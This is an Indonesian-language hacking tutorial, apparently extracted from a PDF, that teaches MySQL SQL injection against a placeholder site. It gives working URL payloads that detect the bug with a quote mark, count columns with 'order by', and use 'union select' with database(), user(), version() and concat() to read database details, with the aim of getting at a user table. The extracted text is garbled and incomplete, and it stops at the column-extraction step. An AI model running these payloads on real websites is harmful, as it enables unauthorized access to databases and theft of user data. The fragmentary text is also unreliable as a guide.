Penulis : kahfiehudson
Pengertian SQL INJECTION :
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client
dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client dan
juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya
menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql :
karakter: ' atau
comments: /* atau
information_schema untuk versi: mysql versi 5.x
( tidak support untuk mysql versi 4.x )
dengan
dengan
http://www.target.com/index.php?id=4
Lalu untuk mengetahui suatu web memiliki bug SQL injection, tambahkan
sebuah tanda petik pada akhir url, sehingga urlnya menjadi
http://www.target.com/index.php?id=4
lalu tekan enter dan apa yang terjadi pada situs tersebut? Situsnya
menampilkan pesan error, berarti parameter id tidak di filter dengan baik
atau bahkan tidak difilter sama sekali. Untuk mengetahui suatu web aplikasi
memiliki bug SQL Injection salah satunya adalah menggunakan perintah
and+1=1--
1
http://www.cyberforum-online.com
url diatas jika di coba satu persatu akan menampilkan situsnya secara
normal. Tapi ketika saya menginputnya dengan order+by+6-- apa yang
terjadi??? Browser menampilkan pesan error. Dari pesan error tersebut bisa
dipastikan terdapat 5 buah column yang terdapat disalah satu table yang
belum kita ketahui namanya. Berarti yang kita ambil sampai +order+by+5-saja.
http://www.target.com/index.php?id=4+union+select+1,2,3,4,5--
Dan apa yang tampak di browser tidak ada yang aneh bukan? situsnya
tampil dengan normal. Tetapi jika parameter id saya ganti menjadi -4 yang
pastinya tidak ada isi data -4 di Database.
http://www.target.com/index.php?id=-4+union+select+1,2,3,4,5-Oke disini browser menampilkan angka 2 & 3, dan angka inilah yang sering
disebut dengan angka ajaib, karena angka tersebut adalah letak column
dimana attacker bisa melakukan injeksi lebih lanjut.
4. Cari informasi Database Target
Dengan tampilnya angka ajaib tersebut anda bisa 'mengintip' beberapa
informasi seperti nama database, nama user database, versi database, sessi
user dll. Untuk melihat nama database, injeksi urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1,database(),3,4,5--
colums??? Heheheh tentu saja bisa dong, untuk itu anda bisa menggunakan
perintah yang sudah disediakan langsung oleh mysql yaitu perintah
concat(perintah1,perintah2). Contoh dibawah ini saya meng-intip nama user
dan nama database pada column ke-2 dan pada column ke-3 saya
mengintip versi databasenya.
http://www.target.com/index.php?id=4+union+select+1,concat(u
ser(),0x3a,database()),version(),4,5--
Hihihi sip, seluruh table berhasil saya dapatkan, diantara table tersebut, table
manakah yang harus saya telusuri lebih jauh lagi??? table_user sepertinya
menarik :P yuk kita lihat apa isinya.
6. Dapatkan Nama Column
4
http://www.cyberforum-online.com
6
http://www.cyberforum-online.com